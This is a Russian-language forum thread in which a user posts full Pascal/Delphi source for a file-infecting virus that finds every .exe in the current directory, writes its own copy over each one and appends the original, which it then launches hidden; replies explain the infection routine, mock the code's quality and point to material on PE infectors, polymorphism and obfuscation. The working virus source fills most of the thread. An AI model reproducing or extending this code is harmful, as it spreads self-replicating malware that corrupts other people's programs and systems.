Вот собственно исходник какого то вируса с форума хакер! Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect! Было бы не плохо именно с разбора по полочкам данной процедуры,в особенности интересует функция seek! За ранее большое спасибо! Code: program injector; uses windows,sysutils,shellapi; const virsize=44032; var victims:tsearchrec; f1,f2:file; procedure infect(victim:string); var a:integer; Buf: array[1..virsize] of byte; nr,nw:longint; begin try randomize; assignfile(f1,victim); a:=random(200); rename(f1,'bad'+inttostr(a)) ; filemode :=0; assignfile(f2,paramstr(0)); reset(f2,1) ; seek(f2,0); blockread(f2,buf,virsize); filemode:=2 ; closefile(f2); assignfile(f1,victim); rewrite(f1,1); blockwrite(f1,buf,virsize); assignfile(f2,'bad'+inttostr(a)); reset(f2,1); seek(f2,0); repeat BlockRead(f2, Buf,virsize, NR); BlockWrite(f1, Buf, NR, NW); until (NR = 0) or (NW <> NR); closefile(f1); closefile(f2); deletefile(pchar('bad'+inttostr(a))) except end; end; procedure go; label 10; var Buf: array[1..virsize] of byte; rect:trect; nr,nw:longint; begin //// try filemode :=0; assignfile(f1,paramstr(0)); reset(f1,1); filemode :=2; assignfile(f2,paramstr(0)+'.exe'); rewrite(f2,1); seek(f1,virsize); seek(f2,0) ; repeat filemode :=0; BlockRead(f1, Buf,virsize, NR); filemode :=2; BlockWrite(f2, Buf, NR, NW); until (NR = 0) or (NW <> NR) ; closefile(f1); closefile(f2); ShellExecute(0,'open',pchar(paramstr(0)+ '.exe'), nil, nil, SW_Hide); if not deletefile(pchar(paramstr(0)+'.exe')) then begin //-- end; except end; //// end; begin filemode :=0; assignfile(f1,paramstr(0)); reset(f1,1); if filesize(f1)>virsize then go; closefile(f1); filemode :=2; if FindFirst('*.exe', Faanyfile, victims) = 0 then repeat if not ((victims.Name)=extractfilename(paramstr(0))) then begin if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name); end; until FindNext(victims)<>0 ; end.
Code: seek(f2,0); { переход в начало} blockread(f2,buf,virsize); { считали с буфер с позиции } filemode:=2 ; { режим открытия файлов (по дефолту 2)} closefile(f2); assignfile(f1,victim); rewrite(f1,1); {открыли для перезаписи} blockwrite(f1,buf,virsize); {записали буфер} В общем не качественный вирус-инфектор, лучше поразбирай, инфекторы, юзающие PE формат, добавление новой секции, внедрение в PE заголовок, если не ошибаюсь это вирус-спутник.
ОМГ мною был написан очень похожий вирус в далеком 98-м году по такому же принципу и тоже на Паскале )))
говно код... =\ хотьбы FindClose() вызвал... в конце поиска... кривые руки это делали =\\ не в обиду будет сказанно =\\\ а вообще, похоже что этот говно код тупо берёт, переписывает все EXE в текущей директории, своей копией при этом записывая "перезаписываемый" EXE в конец себя... и при запуске получается что сначала запустится "псевдо вирус", а потом оригинальный "сдампленный" EXE... только автор не подумал на счёт иконок... а следовало бы... кто не понял что я хотел сказать, извините)) не умею объяснять %)
Здесь нет прямого ответа на твой вопрос , но ты без труда поймёшь : http://wasm.ru/series.php?sid=4 + советовал бы почитать думаю для начала Румянцева "Работа с файлами в Win API" ...
всем спасибо уже сам весь исходник прокопал!!! Тему можно закрыть! Кому интересно http://www.kiber-zona.org/index.php?showtopic=2917
мдааааа, x0man... прав был Крыс Касперски, когда говорил, что вирусы пишут все кому не лень! "/ ТС, для того, чтобы написать вирус, тебе необходимы знания PE-формата, ассемблера, техник поли/метаморфизма, антиотладки, смешивания,обфускации прочти хотя бы серию "от зеленого к красному"
http://wasm.ru/publist.php?list=6 И вот сам труЪ инфектор http://wasm.ru/article.php?article=peinfector